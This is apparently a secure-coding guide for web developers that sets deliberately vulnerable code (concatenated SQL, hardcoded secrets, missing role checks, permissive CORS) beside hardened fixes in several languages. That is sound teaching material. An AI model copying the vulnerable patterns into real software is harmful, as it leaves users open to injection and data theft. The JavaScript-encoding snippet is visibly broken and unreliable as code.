- Static analysis tools like Bandit, gosec, and Semgrep can catch injection, hardcoded credentials, and unsafe deserialization before code review.
### FAQ
**Q: What is the most common cause of data breaches in web applications?**
The root cause of almost every major breach is an ordinary developer decision: a missing parameterized query, a hardcoded credential, a skipped authorization check, or a verbose error message left on in production, rather than exotic zero-day exploits.
**Q: How should passwords be stored securely in a web application?**
Passwords must be hashed with a deliberately slow, memory-intensive algorithm: bcrypt with a work factor of at least 12, or Argon2id with at least 64 MB memory cost. Fast algorithms like MD5, SHA-1, and SHA-256 can be computed billions of times per second on modern hardware and are not appropriate for passwords.
**Q: What is SQL injection and how do I prevent it?**
SQL injection occurs when user input is concatenated directly into a SQL query, allowing an attacker to alter the query's logic. Prevention is universal: use parameterized queries or prepared statements in every language and framework. There is no legitimate reason to build SQL through string concatenation.
**Q: What are secure cookie flags and why do they matter?**
Secure cookies should have three flags: HttpOnly (prevents JavaScript access, blocking XSS-based session theft), Secure (only transmitted over HTTPS), and SameSite=Strict (never sent in cross-site requests, blocking CSRF attacks). Missing any one of these flags creates a distinct exploitable vulnerability.
**Q: How do I prevent my API keys and secrets from being exposed in code?**
Never hardcode secrets in source code. Use environment variables or a secrets manager like AWS Secrets Manager or HashiCorp Vault. Any secret committed to a repository, even briefly or to a private repo, must be rotated immediately. Use tools like TruffleHog or gitleaks to scan git history for previously committed secrets.
The 2017 Equifax breach that exposed 147 million people's personal data? An unpatched Apache Struts vulnerability, discovered and fixed by the vendor 66 days before the breach. The 2020 SolarWinds hack that compromised 18,000 organizations including the US Treasury and Pentagon? Build pipeline security failure. The 2019 Capital One breach? A misconfigured AWS IAM role and SSRF in a WAF.
In almost every major breach, the root cause traces back to a developer decision: a missing parameterized query, a hardcoded credential, a skipped authorization check, a verbose error message left on in production. Not exotic hardware exploits. Not sophisticated zero-days requiring nation-state resources. Ordinary coding mistakes.
This guide covers the secure coding practices that eliminate the most common and damaging vulnerability classes. Every principle maps to a real CVE or breach. Every code example shows the vulnerable pattern next to the fix, in Python, Node.js, Go, and PHP where relevant.
## Principle 1: Never Trust Input From Outside Your Application Boundary
Everything that enters your application from outside is untrusted: HTTP requests, URL parameters, request headers, JSON bodies, file uploads, environment variables from third-party systems, inter-service API calls, and data from databases (which may have been previously poisoned via SQL injection or stored XSS).
Client-side validation is a UX feature, not a security control. An attacker bypasses it in 10 seconds with curl.
```python
# VULNERABLE — raw user input directly to processing
@app.route('/transfer', methods=['POST'])
def transfer():
amount = request.json['amount']
recipient_id = request.json['recipient_id']
process_transfer(amount, recipient_id) # amount could be negative, recipient_id could be a UUID injection
return jsonify({'success': True})
# SAFE — validate type, range, format before processing
from pydantic import BaseModel, Field, validator
from uuid import UUID
from decimal import Decimal
class TransferRequest(BaseModel):
amount: Decimal = Field(gt=0, le=Decimal('10000.00')) # must be positive, max $10,000
recipient_id: UUID # must be a valid UUID format
note: str = Field(max_length=200, default='')
@validator('note')
def note_must_not_contain_html(cls, v):
import re
if re.search(r'<[^>]+>', v):
raise ValueError('HTML not permitted in transfer notes')
return v
@app.route('/transfer', methods=['POST'])
def transfer():
try:
data = TransferRequest(**request.json)
except ValidationError as e:
return jsonify({'error': 'Invalid input', 'details': e.errors()}), 400
process_transfer(data.amount, str(data.recipient_id))
return jsonify({'success': True})
```
```typescript
// Node.js — Zod schema validation
import { z } from 'zod';
const TransferSchema = z.object({
amount: z.number()
.positive('Amount must be positive')
.max(10000, 'Amount exceeds maximum transfer limit')
.multipleOf(0.01, 'Amount must have at most 2 decimal places'),
recipientId: z.string().uuid('Invalid recipient ID format'),
note: z.string().max(200).optional()
.refine(val => !val || !/<[^>]+>/.test(val), 'HTML not permitted in notes'),
});
app.post('/transfer', authenticate, async (req, res) => {
const result = TransferSchema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({ error: 'Validation failed', issues: result.error.issues });
}
const { amount, recipientId, note } = result.data;
await processTransfer(req.user.id, amount, recipientId, note);
return res.json({ success: true });
});
```
### File Upload Validation
File uploads are a consistently abused injection vector: web shell uploads, polyglot files, path traversal in filenames, and content-type bypass.
```python
import magic
import os
import uuid
ALLOWED_MIME_TYPES = {
'image/jpeg': '.jpg',
'image/png': '.png',
'image/gif': '.gif',
'image/webp': '.webp',
'application/pdf': '.pdf',
}
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file provided'}), 400
file = request.files['file']
file_data = file.read()
# Check file size
if len(file_data) > MAX_FILE_SIZE:
return jsonify({'error': 'File too large'}), 400
# Detect MIME type from file content (not from Content-Type header)
detected_mime = magic.from_buffer(file_data, mime=True)
if detected_mime not in ALLOWED_MIME_TYPES:
return jsonify({'error': f'File type not allowed: {detected_mime}'}), 400
# Generate safe filename — never use the user-supplied filename
extension = ALLOWED_MIME_TYPES[detected_mime]
safe_filename = f"{uuid.uuid4().hex}{extension}"
# Store outside the web root — not in static/ or public/
storage_path = os.path.join('/var/app/uploads', safe_filename)
with open(storage_path, 'wb') as f:
f.write(file_data)
return jsonify({'filename': safe_filename})
```
Never trust the `Content-Type` header for file type validation, because it is trivially spoofed. Use a magic byte detector like `python-magic` or `file-type` (Node.js) that reads the actual file bytes. Also never store the user's original filename. Generate a random UUID-based name to prevent path traversal and directory traversal attacks.
---
## Principle 2: Separate Code From Data With Parameterized Queries
SQL injection is responsible for more high-profile data breaches than any other single vulnerability class. The fix is universal and well-known. There is no legitimate reason to build SQL queries through string concatenation in any language, in any framework, in any year after approximately 1998.
```python
# VULNERABLE — string formatting creates injectable SQL
def get_orders_for_user(user_id: str):
# Attacker sends user_id = "1 OR 1=1"
query = f"SELECT * FROM orders WHERE user_id = {user_id}"
return db.execute(query).fetchall()
# SAFE — parameterized query with exact type matching
def get_orders_for_user(user_id: int):
return db.execute(
"SELECT id, product, amount, status FROM orders WHERE user_id = %s",
(user_id,)
).fetchall()
```
```go
// Go — vulnerable and safe
package main
import "database/sql"
// VULNERABLE
func getUserVulnerable(db *sql.DB, username string) (*User, error) {
query := "SELECT id, email, role FROM users WHERE username = '" + username + "'"
row := db.QueryRow(query)
var u User
return &u, row.Scan(&u.ID, &u.Email, &u.Role)
}
// SAFE — prepared statement
func getUserSafe(db *sql.DB, username string) (*User, error) {
row := db.QueryRow(
"SELECT id, email, role FROM users WHERE username = $1",
username,
)
var u User
if err := row.Scan(&u.ID, &u.Email, &u.Role); err != nil {
return nil, err
}
return &u, nil
}
```
### The ORM Raw Query Trap
ORMs are safe for standard CRUD operations, since they generate parameterized queries automatically. The trap is their raw query escape hatches, which developers use when they need complex queries and which are just as injectable as hand-written SQL if misused.
```typescript
// Prisma — ORM safe operations
const orders = await prisma.order.findMany({
where: { userId: session.userId },
orderBy: { createdAt: 'desc' },
});
// VULNERABLE: Prisma's unsafe raw query method
const orders = await prisma.$queryRawUnsafe(
`SELECT * FROM orders WHERE userId = '${session.userId}'` // injectable
);
// SAFE: Prisma's tagged template raw query (parameterized automatically)
const orders = await prisma.$queryRaw`SELECT * FROM orders WHERE userId = ${session.userId}`;
```
```python
# SQLAlchemy — safe vs. vulnerable raw queries
from sqlalchemy import text
# VULNERABLE
db.session.execute(f"SELECT * FROM users WHERE username = '{username}'")
# SAFE — named bind parameters
db.session.execute(
text("SELECT * FROM users WHERE username = :username"),
{"username": username}
)
```
---
## Principle 3: Context-Aware Output Encoding
Cross-site scripting occurs when user-supplied data is inserted into an HTML page, a JavaScript string, a CSS value, or a URL without encoding appropriate to that context. The fix is context-specific: HTML encoding for HTML body/attributes, JavaScript encoding for JavaScript strings, URL encoding for URL parameters.
```python
# Flask/Jinja2 — auto-escaping is on by default for .html templates
# NEVER use Markup() or | safe on user-supplied content
# VULNERABLE
@app.route('/welcome')
def welcome():
name = request.args.get('name', '')
# Markup() tells Jinja2 "this is trusted HTML, don't escape it"
return render_template('welcome.html', name=Markup(name))
# SAFE — pass raw string, let Jinja2 escape it
@app.route('/welcome')
def welcome():
name = request.args.get('name', '')
return render_template('welcome.html', name=name) # Jinja2 escapes {{ name }}
```
```javascript
// Vanilla JavaScript — never use innerHTML with user data
function displaySearchTerm(term) {
// VULNERABLE: innerHTML parses HTML and executes scripts
document.getElementById('search-term').innerHTML = 'You searched for: ' + term;
// SAFE: textContent treats value as literal text
document.getElementById('search-term').textContent = 'You searched for: ' + term;
}
// When HTML is genuinely needed — sanitize with DOMPurify
function renderUserBio(html) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p', 'a', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href'],
FORBID_ATTR: ['onerror', 'onload', 'onclick'],
});
document.getElementById('bio').innerHTML = clean;
}
```
### JavaScript Context Encoding
HTML encoding (`<`) is not sufficient inside a JavaScript string context:
```html
```
```javascript
// Node.js — safe server-side rendering for JavaScript contexts
app.get('/profile', (req, res) => {
const userData = {
name: user.name,
email: user.email,
};
// JSON.stringify handles all necessary escaping for JS context
// Replace < > & to prevent injection
const userDataJson = JSON.stringify(userData)
.replace(//g, '\\u003e')
.replace(/&/g, '\\u0026');
res.send(``);
});
```
---
## Principle 4: Store Passwords Correctly, No Exceptions
Fast hashing algorithms (MD5, SHA-1, SHA-256, SHA-512) are designed for speed. A modern GPU can compute billions of SHA-256 hashes per second. The RockYou 2009 breach released 32 million plaintext passwords that became the definitive cracking dictionary. LinkedIn's SHA-1 hashes from the 2012 breach were 90% cracked within days of publication.
Password hashing must be deliberately slow and memory-intensive.
```python
# VULNERABLE — fast hashes (MD5, SHA-1, SHA-256 variants)
import hashlib
# None of these are appropriate for passwords
hash1 = hashlib.md5(password.encode()).hexdigest() # broken
hash2 = hashlib.sha1(password.encode()).hexdigest() # broken
hash3 = hashlib.sha256(password.encode()).hexdigest() # not slow enough
hash4 = hashlib.sha256((password + salt).encode()).hexdigest() # still not slow enough
# SAFE — bcrypt (minimum work factor 12)
import bcrypt
def hash_password(password: str) -> str:
# bcrypt.gensalt() generates a random 128-bit salt automatically
# rounds=12 means 2^12 = 4096 iterations (takes ~0.3 seconds on modern hardware)
# rounds=14 means 2^14 = 16384 iterations (~1.2 seconds) — use for high-value accounts
salt = bcrypt.gensalt(rounds=12)
return bcrypt.hashpw(password.encode('utf-8'), salt).decode('utf-8')
def verify_password(password: str, stored_hash: str) -> bool:
return bcrypt.checkpw(password.encode('utf-8'), stored_hash.encode('utf-8'))
```
```python
# BEST — Argon2id (NIST SP 800-63B recommended, winner of Password Hashing Competition)
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
# Configure with appropriate cost parameters
# memory_cost: 64MB RAM — makes GPU attacks expensive
# time_cost: 3 iterations
# parallelism: 4 threads
ph = PasswordHasher(
time_cost=3,
memory_cost=65536, # 64 MB
parallelism=4,
hash_len=32,
salt_len=16
)
def hash_password(password: str) -> str:
return ph.hash(password)
def verify_password(password: str, stored_hash: str) -> bool:
try:
ph.verify(stored_hash, password)
if ph.check_needs_rehash(stored_hash):
return True # caller should rehash and store new hash
return True
except VerifyMismatchError:
return False
```
```typescript
// Node.js — bcrypt
import bcrypt from 'bcrypt';
const SALT_ROUNDS = 12;
export async function hashPassword(password: string): Promise {
return bcrypt.hash(password, SALT_ROUNDS);
}
export async function verifyPassword(password: string, hash: string): Promise {
return bcrypt.compare(password, hash);
}
```
### Timing Attack Prevention in Login
```typescript
// VULNERABLE: returns immediately if user not found — timing difference reveals valid emails
async function login(email: string, password: string) {
const user = await db.users.findOne({ email });
if (!user) return { success: false }; // Fast — reveals user doesn't exist
const valid = await bcrypt.compare(password, user.passwordHash);
return { success: valid };
}
// SAFE: always run bcrypt.compare, even for non-existent users
const DUMMY_HASH = await bcrypt.hash('dummy-constant-value-for-timing-safety', 12);
async function login(email: string, password: string) {
const user = await db.users.findOne({ email });
const hashToVerify = user ? user.passwordHash : DUMMY_HASH;
// Always takes the same time whether user exists or not
const valid = await bcrypt.compare(password, hashToVerify);
if (!user || !valid) {
return { success: false }; // Same response for wrong email OR wrong password
}
return { success: true, userId: user.id };
}
```
---
## Principle 5: Never Hardcode Secrets
Hardcoded credentials are found constantly in public repositories. GitHub's secret scanning detected over 1 million exposed secrets in 2023. Any API key committed to a repository, even briefly and even to a private repo, must be considered compromised and rotated immediately.
```go
// VULNERABLE — secrets in source code (stay in git history forever)
package main
const (
DBPassword = "SuperSecretPassword123!"
JWTSecret = "my-jwt-secret-key"
)
func connectDB() *sql.DB {
dsn := "postgres://admin:" + DBPassword + "@prod-db:5432/app"
db, _ := sql.Open("postgres", dsn)
return db
}
// SAFE — load from environment
import "os"
func connectDB() (*sql.DB, error) {
dsn := os.Getenv("DATABASE_URL")
if dsn == "" {
return nil, fmt.Errorf("DATABASE_URL environment variable is required")
}
return sql.Open("postgres", dsn)
}
```
### Secrets Management at Scale
```python
# AWS Secrets Manager — retrieve secret at runtime
import boto3
import json
def get_db_credentials() -> dict:
client = boto3.client('secretsmanager', region_name='us-east-1')
response = client.get_secret_value(SecretId='prod/app/database')
return json.loads(response['SecretString'])
creds = get_db_credentials()
connection_string = f"postgresql://{creds['username']}:{creds['password']}@{creds['host']}/{creds['dbname']}"
```
```bash
# HashiCorp Vault — retrieve secret
vault kv get -field=password secret/prod/database
# In Python:
import hvac
client = hvac.Client(url='https://vault.internal:8200', token=os.getenv('VAULT_TOKEN'))
secret = client.secrets.kv.v2.read_secret_version(path='database/credentials')
db_password = secret['data']['data']['password']
```
```bash
# Detect secrets already in git history
# TruffleHog — scans entire git history
trufflehog git https://github.com/yourorg/yourrepo --concurrency=20
# gitleaks
gitleaks detect --source . --verbose
# Add pre-commit hook to prevent future commits
pip install pre-commit
cat > .pre-commit-config.yaml << 'EOF'
repos:
- repo: https://github.com/gitleaks/gitleaks
rev: v8.16.0
hooks:
- id: gitleaks
EOF
pre-commit install
```
Deleting a secret from a git commit doesn't remove it from git history. If you accidentally commit a secret, assume it's compromised and rotate it immediately. Then rewrite the git history with `git filter-repo`. The rotation must happen before anything else, because someone may have already pulled the repo or a bot may have scraped it.
Our guide to [leaked API keys](/leaked-api-keys-explained) walks through the first hour after a leak, provider by provider. Before pasting a log or config into a ticket or chat, run it through the [secret scanner](https://pwnsy.com/tools/secret-scanner/) to find and redact keys in your browser.
---
## Principle 6: Authorization Must Be Checked Server-Side on Every Request
Access control bugs are the #1 finding in web security assessments (OWASP A01 2021). The most common pattern: the UI hides features from unauthorized users (correct), but the backend API endpoints those features call don't verify authorization (catastrophic).
Hiding admin menu items from non-admin users is not authorization. Checking `req.user.role === 'admin'` on every admin API endpoint is authorization.
```typescript
// VULNERABLE — frontend hides the button, backend doesn't check role
// Frontend (React):
// {user.role === 'admin' && }
// Backend (Express) — missing role check:
app.delete('/api/admin/users/:id', authenticate, async (req, res) => {
// Only checks that a valid JWT exists — not that the user is an admin
await db.users.delete({ id: req.params.id });
return res.json({ success: true });
});
// Attacker sends: DELETE /api/admin/users/123 with any valid JWT
// User deleted — no admin role required
```
```typescript
// SAFE — middleware enforces role at the route level
import { Request, Response, NextFunction } from 'express';
function requireRole(roles: string[]) {
return (req: Request, res: Response, next: NextFunction) => {
if (!req.user) {
return res.status(401).json({ error: 'Authentication required' });
}
if (!roles.includes(req.user.role)) {
logger.warn('authz.violation', {
userId: req.user.id,
userRole: req.user.role,
requiredRoles: roles,
path: req.path,
method: req.method,
ip: req.ip,
});
return res.status(403).json({ error: 'Insufficient permissions' });
}
next();
};
}
// Route-level enforcement — no way to access without being admin
app.delete('/api/admin/users/:id',
authenticate,
requireRole(['admin', 'superadmin']),
async (req, res) => {
await db.users.delete({ id: req.params.id });
return res.json({ success: true });
}
);
// Resource-level enforcement for IDOR prevention
app.get('/api/invoices/:id',
authenticate,
async (req, res) => {
const invoice = await db.invoices.findOne({
id: req.params.id,
userId: req.user.id, // ALWAYS bind to authenticated user
});
if (!invoice) return res.status(403).json({ error: 'Not found' });
return res.json(invoice);
}
);
```
### Row-Level Security at the Database Layer (Postgres)
For critical applications, enforce authorization at the database level using Postgres Row Level Security (RLS). Even if the application code has a bug, the database will refuse to return unauthorized data.
```sql
-- Enable RLS on the invoices table
ALTER TABLE invoices ENABLE ROW LEVEL SECURITY;
-- Policy: users can only see their own invoices
CREATE POLICY user_invoices_policy ON invoices
FOR SELECT
USING (user_id = current_setting('app.current_user_id')::uuid);
-- Policy: users can only update their own unpaid invoices
CREATE POLICY user_invoices_update_policy ON invoices
FOR UPDATE
USING (user_id = current_setting('app.current_user_id')::uuid AND status = 'pending');
-- Admins can see all invoices
CREATE POLICY admin_invoices_policy ON invoices
FOR ALL
USING (current_setting('app.current_role') = 'admin');
```
```python
# Set the user context before any query
def execute_user_query(user_id: str, user_role: str, query_func):
with db.connection() as conn:
conn.execute("SET app.current_user_id = %s", (user_id,))
conn.execute("SET app.current_role = %s", (user_role,))
return query_func(conn)
```
---
## Principle 7: Error Handling Must Not Leak Internals
Verbose error messages are a direct information disclosure vulnerability. A stack trace containing database schema, internal file paths, server version, and environment variables is a gift to an attacker. The 2017 Equifax breach was partly enabled by verbose Spring Framework error pages that revealed internal details about the application architecture.
```python
# VULNERABLE — raw exception reaches the client
@app.route('/search')
def search():
query = request.args.get('q')
results = db.execute(f"SELECT * FROM products WHERE name LIKE '%{query}%'")
# If the query throws: psycopg2.errors.SyntaxError: syntax error at or near "'"
# LINE 1: SELECT * FROM products WHERE name LIKE '%'%'
return jsonify(results.fetchall())
# Flask shows the full stack trace including DB type, file paths, query text
```
```python
# SAFE — structured error handling
import logging
import uuid
logger = logging.getLogger(__name__)
@app.errorhandler(Exception)
def handle_error(error):
error_id = str(uuid.uuid4())[:8] # Short ID for correlation
logger.exception(f"Unhandled error [{error_id}]:", exc_info=error)
# Log full details server-side, return only error ID to client
return jsonify({'error': 'An unexpected error occurred', 'errorId': error_id}), 500
@app.route('/search')
def search():
try:
query = request.args.get('q', '')
if not query or len(query) > 100:
return jsonify({'error': 'Invalid query'}), 400
results = db.execute(
"SELECT id, name, price FROM products WHERE name ILIKE %s LIMIT 20",
(f'%{query}%',)
).fetchall()
return jsonify([dict(r) for r in results])
except Exception as e:
error_id = str(uuid.uuid4())[:8]
logger.error(f"Search error [{error_id}]: {e}", exc_info=True)
return jsonify({'error': 'Search unavailable', 'errorId': error_id}), 500
```
```go
// Go — proper error handling with structured logging
package main
import (
"encoding/json"
"log/slog"
"net/http"
"github.com/google/uuid"
)
type ErrorResponse struct {
Error string `json:"error"`
ErrorID string `json:"errorId"`
}
func handleSearch(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("q")
if query == "" || len(query) > 100 {
writeJSON(w, http.StatusBadRequest, ErrorResponse{Error: "Invalid query"})
return
}
results, err := db.SearchProducts(query)
if err != nil {
errorID := uuid.New().String()[:8]
slog.Error("search failed",
"errorId", errorID,
"query", query,
"error", err,
)
writeJSON(w, http.StatusInternalServerError, ErrorResponse{
Error: "Search unavailable",
ErrorID: errorID,
})
return
}
writeJSON(w, http.StatusOK, results)
}
```
---
## Principle 8: Security Headers Are Non-Negotiable
Security headers are one-line configurations that activate browser-enforced protections. Missing headers contribute to XSS exploitability, clickjacking, MIME sniffing, and information disclosure.
```typescript
// Express.js — Helmet.js sets all security headers
import helmet from 'helmet';
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'", 'https://api.example.com'],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
upgradeInsecureRequests: [],
},
},
hsts: {
maxAge: 63072000,
includeSubDomains: true,
preload: true,
},
noSniff: true,
frameguard: { action: 'deny' },
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
hidePoweredBy: true,
}));
```
```nginx
# Nginx — equivalent configuration
server {
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=()" always;
server_tokens off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384;
ssl_prefer_server_ciphers off;
}
```
---
## Principle 9: Dependency Security Is Application Security
Your npm/pip/go.mod is an attack surface. The xz-utils backdoor discovered in March 2024 showed how a supply chain attack can spend months building trust in an open-source project before injecting malicious code. The attacker gained merge access to a critical compression library by submitting legitimate contributions for two years before inserting the backdoor.
```bash
# Audit current dependencies
npm audit --audit-level=moderate
# Python
pip-audit --requirement requirements.txt
safety check
# Go
govulncheck ./...
# Verify package integrity — use lockfiles and never skip them
npm ci # Install from lockfile exactly — fails if package-lock.json doesn't match
# Verify npm package signatures
npm audit signatures
```
```yaml
# GitHub Actions — security scanning in CI
name: Security Scan
on: [push, pull_request]
jobs:
dependency-review:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/dependency-review-action@v4
with:
fail-on-severity: moderate
semgrep:
runs-on: ubuntu-latest
container:
image: returntocorp/semgrep
steps:
- uses: actions/checkout@v4
- run: semgrep --config p/owasp-top-ten --config p/secrets --error
```
---
## Principle 10: HTTPS, CORS, and Cookie Security
Three configuration areas that developers frequently get wrong, each with direct security consequences.
### HTTPS Enforcement
```typescript
// Express — enforce HTTPS in production
app.use((req, res, next) => {
if (req.headers['x-forwarded-proto'] !== 'https' && process.env.NODE_ENV === 'production') {
return res.redirect(301, `https://${req.headers.host}${req.url}`);
}
next();
});
```
### CORS Configuration
```typescript
// VULNERABLE — reflects any origin with credentials
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', req.headers.origin); // any origin
res.header('Access-Control-Allow-Credentials', 'true'); // with credentials
next();
});
// Any website can make authenticated API calls to your server using the victim's session
// SAFE — explicit allowlist
const ALLOWED_ORIGINS = new Set([
'https://app.example.com',
'https://admin.example.com',
process.env.NODE_ENV === 'development' ? 'http://localhost:3000' : '',
].filter(Boolean));
app.use(cors({
origin: (origin, callback) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) {
callback(null, true);
} else {
callback(new Error(`CORS: origin ${origin} not allowed`));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization'],
}));
```
### Secure Cookie Configuration
```typescript
// VULNERABLE — missing cookie security flags
res.cookie('session', token);
// No HttpOnly: JavaScript can read it (XSS → session theft)
// No Secure: sent over HTTP (interception risk)
// No SameSite: can be sent cross-site (CSRF attacks)
// SAFE — all security flags set
res.cookie('session', token, {
httpOnly: true, // Prevents JavaScript access
secure: true, // Only sent over HTTPS
sameSite: 'strict', // Never sent in cross-site requests
maxAge: 3600000, // 1 hour expiry
path: '/',
domain: '.example.com',
});
```
---
## Static Analysis: Catching Issues Before Code Review
SAST tools find security issues in source code before it runs.
```bash
# Bandit — Python security linter
pip install bandit
bandit -r ./src -ll # report medium and high severity only
bandit -r ./src -f json -o bandit_report.json
# Common Bandit findings:
# B608: SQL query construction from user input
# B105: hardcoded password (heuristic)
# B301: pickle deserialization (RCE risk)
# B501: weak SSL/TLS version
# gosec — Go security scanner
go install github.com/securego/gosec/v2/cmd/gosec@latest
gosec -severity medium ./...
# Semgrep — multi-language, OWASP rules
semgrep --config p/owasp-top-ten ./src
semgrep --config p/secrets ./src
# ESLint security plugin — JavaScript/TypeScript
npm install --save-dev eslint-plugin-security eslint-plugin-no-unsanitized
```
---
## Secure Coding Checklist
Use this as a PR review checklist for any feature that handles user data, authentication, or sensitive operations:
| Category | Check | Vulnerability Prevented |
|---|---|---|
| Input | All user input validated with type + range + format | Injection, business logic abuse |
| Input | File uploads validated by MIME magic bytes, not Content-Type header | Web shell upload |
| SQL | All DB queries use parameterized statements | SQL injection |
| Output | Template output uses auto-escaping | XSS |
| Output | `innerHTML` only used with DOMPurify-sanitized content | DOM XSS |
| Auth | Passwords hashed with bcrypt/argon2 (not MD5/SHA) | Credential theft |
| Auth | Login endpoint rate-limited (5 attempts/15min) | Brute force |
| Auth | Session tokens are `HttpOnly; Secure; SameSite=Strict` | Session theft, CSRF |
| AuthZ | Every resource query binds to `session.userId` | IDOR / Broken Access Control |
| AuthZ | Every privileged endpoint checks user role | Privilege escalation |
| Secrets | No credentials in source code or config files | Credential exposure |
| Secrets | `.env` files are gitignored | Credential exposure |
| Errors | No stack traces or DB error details in API responses | Information disclosure |
| Headers | CSP, HSTS, X-Content-Type-Options, X-Frame-Options set | XSS, clickjacking |
| CORS | Only specific trusted origins allowed | Cross-origin credential theft |
| TLS | HTTP redirected to HTTPS; HSTS set | Data interception |
| Deps | `npm audit` / `pip-audit` run in CI with failure threshold | Known CVEs |
| SSRF | User-supplied URLs validated against blocklist for internal IPs | Cloud metadata theft |
None of these require extra libraries, significant time investment, or architectural changes. They require habits. Build them in during initial development rather than retrofitting them after a pentest report.
## Where these vulnerability classes rank
The ten principles above are not a random collection. Each targets a class of flaw that appears near the top of real-world vulnerability data year after year. Seeing them ranked by prevalence and impact helps you decide where habits matter most.
| Vulnerability class | Root cause in code | Reference | Primary defense |
|---|---|---|---|
| Broken access control | Missing server-side authorization checks | OWASP A01, CWE-284 | Enforce authorization on every request and resource |
| Injection | Untrusted input mixed with code or queries | OWASP A03, CWE-89, CWE-79 | Parameterized queries, context-aware encoding |
| Cryptographic failures | Weak hashing, secrets in code, missing TLS | OWASP A02, CWE-327 | Argon2id or bcrypt, secrets manager, HTTPS |
| Insecure design | Security not considered during design | OWASP A04 | Threat modeling before implementation |
| Security misconfiguration | Default settings, verbose errors, missing headers | OWASP A05, CWE-16 | Hardened defaults, security headers, quiet errors |
| Vulnerable components | Outdated or malicious dependencies | OWASP A06, CWE-1104 | Dependency scanning, lockfiles, audit in CI |
| Identification and auth failures | Weak sessions, no rate limiting | OWASP A07, CWE-287 | Strong session flags, rate limits, MFA |
| Server-side request forgery | Unvalidated user-supplied URLs | OWASP A10, CWE-918 | Validate and allowlist outbound targets |
Access control sits at the top for a reason. It is the hardest class to catch with automated tooling, because whether a check is present is a question about intended behavior that a scanner cannot infer. A missing authorization check looks like perfectly valid code. This is why the discipline of binding every query to the authenticated user, shown in Principle 6, matters more than any single tool.
Injection has fallen from its historic top spot, not because it disappeared, but because frameworks made the safe path the default path. Parameterized queries and auto-escaping templates removed most opportunities to make the mistake. The remaining injection bugs cluster around the escape hatches: raw query methods, dynamic query building, and templates rendered with escaping disabled.
## Threat modeling before you write code
Every principle above is a control applied to code that already exists. Insecure design, listed as OWASP A04, is the class those controls cannot fix, because the flaw is in the shape of the system rather than the correctness of a line. A password reset flow that lets an attacker enumerate valid accounts is not a coding bug in any single function. It is a design that leaked information by construction.
Threat modeling is the practice of asking, before implementation, what could go wrong. A lightweight version fits into any feature kickoff and needs no special tooling. Walk through four questions for the feature you are about to build.
First, what are you building, described as data flows rather than screens. Draw where data enters, where it is stored, which components it crosses, and where trust boundaries sit. A trust boundary is any point where data moves from a less trusted zone to a more trusted one, such as the edge between the browser and your API.
Second, what can go wrong at each boundary. A common structured approach considers spoofing an identity, tampering with data, repudiating an action, disclosing information, denying service, and elevating privilege. You do not need the acronym, you need the habit of asking each question at each boundary.
Third, what will you do about each risk you found. Some you mitigate with a control, some you accept because the impact is low, and some you push elsewhere in the system. Writing the decision down is what separates threat modeling from worrying.
Fourth, did you cover it. Revisit the model when the feature changes, because a design that was safe can become unsafe when a new data flow is added later.
Threat modeling does not require a formal methodology or a dedicated meeting for small changes. For a single feature, spend fifteen minutes drawing the data flow and asking what an attacker gains by tampering with each input or reading each output. The value is in asking the questions before the code is written, when changing the design is still cheap.
## Building security into the development workflow
Habits do not survive on willpower. They survive because the workflow makes the secure path the default and catches the insecure path automatically. Three layers of automation carry most of the load, and each catches a different class of mistake at a different moment.
The first layer is the developer's own machine. Pre-commit hooks that run a secret scanner and a fast linter stop the most embarrassing mistakes, a hardcoded credential or an obviously unsafe function, before they ever reach the repository. Because they run in seconds, developers tolerate them, and because they run before the commit, they prevent the mistake rather than reporting it later.
The second layer is continuous integration. This is where the slower, deeper checks belong: static analysis across the whole codebase, dependency auditing against known vulnerability databases, and secret scanning across the full history. Setting a failure threshold, such as failing the build on any high-severity finding, turns these from advisory noise into a gate. The GitHub Actions and Semgrep configurations shown earlier are the machinery for this layer.
The third layer is code review by a human. Tools catch pattern-matchable flaws, and a reviewer catches the ones that require understanding intent: a missing authorization check, a business-logic flaw, a subtle trust boundary crossed without validation. The secure coding checklist earlier in this guide is meant to be used here, as a concrete list of questions a reviewer asks of any change that touches user data, authentication, or sensitive operations.
None of these layers is sufficient alone. Local hooks are easy to bypass, CI catches patterns but not intent, and human review is slow and inconsistent without a checklist. Together they form a net where a flaw that slips through one layer is likely caught by another. This is the same defense-in-depth idea that runs through the code-level principles, applied to the process that produces the code.
## Common misconceptions
Several beliefs lead capable developers into insecure code, and naming them directly helps.
The first is that a framework makes an application secure by itself. Frameworks remove classes of mistake and provide safe defaults, and they also provide escape hatches, and the bugs migrate to those escape hatches. A raw query method, a template rendered with escaping off, or an authentication middleware applied to some routes and forgotten on others reintroduces the flaw the framework was preventing. The framework helps, and the developer still owns the outcome.
The second is that input validation and output encoding are the same defense. They are complementary and both required. Validation decides whether input is acceptable at the boundary, and encoding decides how to safely render data in a specific output context. Data can pass validation and still be dangerous when placed in an HTML attribute or a JavaScript string without the right encoding. Validate on the way in, encode on the way out.
